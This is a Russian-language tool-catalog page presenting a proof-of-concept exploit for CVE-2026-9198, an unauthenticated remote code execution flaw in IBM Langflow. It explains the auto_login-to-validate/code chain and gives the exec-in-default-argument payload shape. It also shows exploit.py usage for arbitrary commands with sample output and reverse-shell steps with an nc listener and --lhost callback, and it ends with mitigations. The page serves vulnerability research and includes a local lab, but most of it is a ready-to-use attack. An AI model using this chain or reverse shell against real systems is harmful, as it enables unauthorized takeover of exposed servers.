Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
EXPLOIT-CVE-2026-9198 — Доказательство концепции эксплуатации для CVE-2026-9198 — неаутентифицированного RCE в IBM Langflow OSS, объединяющего конечные точки auto_login и validate/code. Включает уязвимую Docker-лабораторию для авторизованного тестирования и обучения. | Kitploit
Инструменты/GitHubGitHub/joaovicdev/exploit-cve-2026-9198
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingЛаборатории и Практика
GitHubjoaovicdev/exploit-cve-2026-9198

EXPLOIT-CVE-2026-9198

Доказательство концепции эксплуатации для CVE-2026-9198 — неаутентифицированного RCE в IBM Langflow OSS, объединяющего конечные точки auto_login и validate/code. Включает уязвимую Docker-лабораторию для авторизованного тестирования и обучения.

Репозиторий
5 ч 37 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-9198 — IBM Langflow OSS Неаутентифицированное удалённое выполнение кода

Эксплойт-доказательство концепции и автономная Docker-лаборатория для CVE-2026-9198 — неаутентифицированной уязвимости удалённого выполнения кода в IBM Langflow OSS.

Эксплойт связывает две конечные точки — auto_login (которая выдаёт токен SUPERUSER кому угодно) и validate/code (которая выполняет предоставленный атакующим Python) — для получения выполнения кода от имени пользователя службы Langflow, без каких-либо учётных данных.

[!WARNING] Только для авторизованного тестирования безопасности и образовательных целей. Запускайте это исключительно против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Docker лаборатория в этом репозитории намеренно уязвима — держите её на своей машине и никогда не выставляйте её в интернет. Вы несёте ответственность за то, как вы используете этот код.

Уязвимость

CVECVE-2026-9198
ПродуктIBM Langflow OSS
Затронутые версии1.0.0 – 1.10.0
Исправлено в1.10.1
CVSS 3.19.8 Критическая — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-94 — Некорректный контроль генерации кода ('Внедрение кода')
CISA KEVДа — известно об эксплуатации в реальных условиях

Как это работает

Эксплойт представляет собой цепочку из двух шагов, не требующую аутентификации:

1. Получение токена SUPERUSER — GET /api/v1/auto_login

Langflow поставляется с включённым по умолчанию LANGFLOW_AUTO_LOGIN. Когда он включён, конечная точка auto_login выдаёт долгоживущий JWT SUPERUSER любому вызывающему, не запрашивая учётные данные:

root@kitploit:~
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }

2. Выполнение кода — POST /api/v1/validate/code

Начиная с версии 1.3.0 эта конечная точка требует аутентификации (это было исправлением для CVE-2025-3248) — но шаг 1 только что выдал нам действительный токен SUPERUSER, поэтому этот барьер бесполезен. Внутри конечная точка вызывает validate_code(), которая компилирует и выполняет каждое определение функции, которое получает:

root@kitploit:~
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        try:
            exec(code_obj)                       # <-- выполняет def
        except Exception as e:
            errors["function"]["errors"].append(str(e))   # <-- вывод утекает обратно сюда

Выполнение оператора def вычисляет значения его аргументов по умолчанию. Таким образом, функция, чей аргумент по умолчанию равен exec("..."), выполняет произвольный код в момент проверки — функция даже никогда не вызывается. Любое возникшее исключение перехватывается и возвращается в ответе в разделе function.errors, который эксплойт использует для чтения вывода команды обратно по HTTP.

Форма полезной нагрузки (команда обёрнута в base64, чтобы пережить любое экранирование):

root@kitploit:~
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
    pass

Содержимое

root@kitploit:~
.
├── exploit.py           # PoC (выполнение команд + обратная оболочка)
├── docker-compose.yml   # уязвимая лаборатория: langflow 1.10.0 + postgres
├── requirements.txt     # requests
└── README.md

Требования

  • Docker + Docker Compose (для лаборатории)
  • Python 3.8+ и requests (pip install -r requirements.txt)

Запуск лаборатории

root@kitploit:~
docker compose up -d

Langflow требуется минута или две, чтобы стать готовым при первом запуске. Подождите, пока он ответит:

root@kitploit:~
curl -fs http://127.0.0.1:9999/health && echo OK

Служба намеренно привязана к 127.0.0.1:9999 — она недоступна из вашей сети.

Запуск эксплойта

Установите зависимость, затем направьте эксплойт на лабораторию.

root@kitploit:~
pip install -r requirements.txt

Выполнение команд

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"

Пример вывода:

root@kitploit:~
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------

Работает любая команда: --cmd "uname -a && whoami && cat /etc/os-release".

Обратная оболочка

Запустите прослушиватель:

root@kitploit:~
nc -lvnp 4444

Затем отправьте полезную нагрузку. Когда цель работает в Docker на той же машине, контейнер обращается к вашему хосту через host.docker.internal (Docker Desktop); на реальной цели используйте ваш маршрутизируемый IP:

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 \
    --reverse-shell --lhost host.docker.internal --lport 4444

Вы получаете интерактивный /bin/sh на вашем прослушивателе от имени пользователя langflow.

Параметры

ФлагОписание
--urlБазовый URL цели (обязательно)
--cmdКоманда для выполнения (по умолчанию id)
--reverse-shellДоставить обратную оболочку вместо выполнения --cmd
--lhost / --lportХост и порт обратного вызова оболочки
--tokenИспользовать предоставленный bearer-токен и пропустить auto_login
--timeoutТаймаут на запрос, секунды (по умолчанию 15)
--insecureПропустить проверку TLS (для целей https)

Меры по смягчению

  • Обновитесь до Langflow ≥ 1.10.1.
  • Отключите автоматический вход во всём, что доступно по сети: LANGFLOW_AUTO_LOGIN=false, и установите реальные учётные данные суперпользователя.
  • Никогда не выставляйте Langflow напрямую в интернет; размещайте его за аутентификацией и сетевыми средствами контроля.

Ссылки

  • NVD — CVE-2026-9198
  • Бюллетень безопасности IBM
  • Каталог известных эксплуатируемых уязвимостей CISA
  • Связанный предшественник: CVE-2025-3248 (внедрение кода в validate/code, на котором это основано)
Скачать инструмент